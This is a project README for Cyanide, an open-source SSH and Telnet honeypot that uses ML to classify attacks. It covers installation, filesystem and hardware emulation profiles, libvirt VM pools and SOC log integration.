cyanide-framework 1.0.0

A medium-interaction framework with ML-based anomaly detection.

ENG   |   RU   |   PL

Cyanide Medium-Interaction SSH and Telnet Honeypot

Cyanide is a medium-interaction SSH and Telnet honeypot designed to deceive attackers and analyze their behavior in depth. It combines realistic Linux filesystem emulation, advanced command simulation (with pipes and redirections), robust anti-detection mechanisms, and a hybrid ML engine for anomaly detection.

---

Features

1) Machine Learning for Automated Attack Classification and IOC Extraction

• The system automatically categorizes network activity into attack types (brute-force, credential stuffing, reconnaissance, exploit attempts) based on session behavior and payload characteristics.
• Events are normalized with extraction of Indicators of Compromise (IOCs), including IP addresses, ports, credentials, user agents/banners, commands, URLs, artifact hashes, and attacker frequency dictionaries.
• A session summary is generated, detailing the attack intent, deviations from baseline norms, and recommended IOCs for blocking or integration into detection rules.

2) Enhanced Realism to Evade Honeypot Detection

• Realistic timing and response variability (errors, delays, message formats) increase misclassification rates by automated honeypot detectors.
• Dynamic environment profiles: service banners, versions, and operational narratives evolve naturally, avoiding static templates.
• Human-like interface behavior: plausible constraints, error messaging, and minor inconsistencies characteristic of production systems.

3) Advanced SOC and Analytics Integrations

• Structured JSON logs with a standardized event schema to facilitate correlation and search.
• Event export to external systems: SIEM/log stacks (ELK/Splunk), webhook alerts (Slack, Discord, Telegram) for real-time notifications.
• Support for batching and message limit control to prevent spam and platform bans.
• Configurable triggers and rules for critical pattern alerts (e.g., anomalous brute-force velocity, dropper uploads, suspicious commands/payloads).

---

Documentation

For complete guides on installation, configuration, and integration, visit our Documentation Hub.

• Quick Start
• Advanced Configuration
• Developer Reference

---

Quick Start

1. Clone the repository
git clone https://github.com/tanhiowyatt/cyanide-framework.git

2. Navigate to the project directory
cd cyanide-framework

3. Launch the environment
docker-compose up -d

4. Connect via SSH, Telnet, or SFTP
ssh root@localhost -p 2222
telnet localhost -p 2222
sftp root@localhost -p 2222

* With Local Changes
docker-compose up -d --build

Quick Start via PyPI

1. Install the package
pip install cyanide-framework

2. Run the honeypot
cyanide-framework

---

How the Framework Works

Cyanide framework deploys a decoy service and guides attackers through a controlled scenario: it emulates a realistic service without granting actual host access.

Dynamic Profiles and Hardware Emulation

The framework's identity is defined by OS-specific profiles in src/cyanide/configs/profiles/<os>/.

• base.yaml: The master configuration for the profile, containing metadata (kernel version, hostname), honeytokens, and system templates.
• System Templates: You can now customize the hardware "fingerprint" directly in the YAML.
  • cpuinfo: Emulated /proc/cpuinfo output.
  • meminfo: Emulated /proc/meminfo output.
  • processes: A list of background processes that will appear in ps and top.

Example base.yaml hardware definition:

system_templates:
  cpuinfo: |
    vendor_id	: GenuineIntel
    model name	: Intel(R) Xeon(R) Gold 6140 CPU @ 2.30GHz
    ...
  processes:
    - pid: 1
      user: root
      cmd: "/sbin/init"

Libvirt Infrastructure (Advanced Emulation)

Cyanide supports an optional Libvirt backend for high-fidelity VM-based emulation:

• VM Pools: Automatically manage a pool of clones from a base image.
• NAT & Snapshots: Seamless networking and instant state rollback for every session.
• Docker Ready: The official Docker image includes libvirt0 runtime dependencies to support remote Libvirt connections (e.g., qemu+ssh://...).

To enable, configure the pool section in your cyanide.yaml:

pool:
  enabled: true
  mode: libvirt
  libvirt_uri: "qemu:///system"
  max_vms: 5

SQLite (Fast Runtime)

YAML serves as the "source code," compiled/cached into SQLite (.compiled.db) for production:

• Faster loading/decoding than YAML/JSON;
• Smaller footprint, easier caching/distribution;
• More stable high-load performance.

Session Flow

The system processes each interaction through a structured Session Flow:

• Incoming event (login/command/payload)
• State update
• Profile rules application (YAML/SQLite)
• Response generation (with realistic timing)
• Logging + IOC extraction

Logs and IOCs

Structured events are captured: IP/session ID, login attempts, commands/payloads, timings, and outcomes. From this, IOCs are extracted, attacks classified, and alerts/exported to SOC systems.

---

Creators

This framework was created by tanhiowyatt and koshanzov. Our initial collaboration on advanced honeypot prototypes evolved into the current open-source cybersecurity project, focusing on realistic threat simulation, ML-driven attack classification, and seamless SOC integration.

---

Disclaimer

This software is for educational and research purposes only. Running a framework involves significant risks. The author is not responsible for any damage or misuse.

---

Revision: 1.0 - May 2026 - Cyanide Framework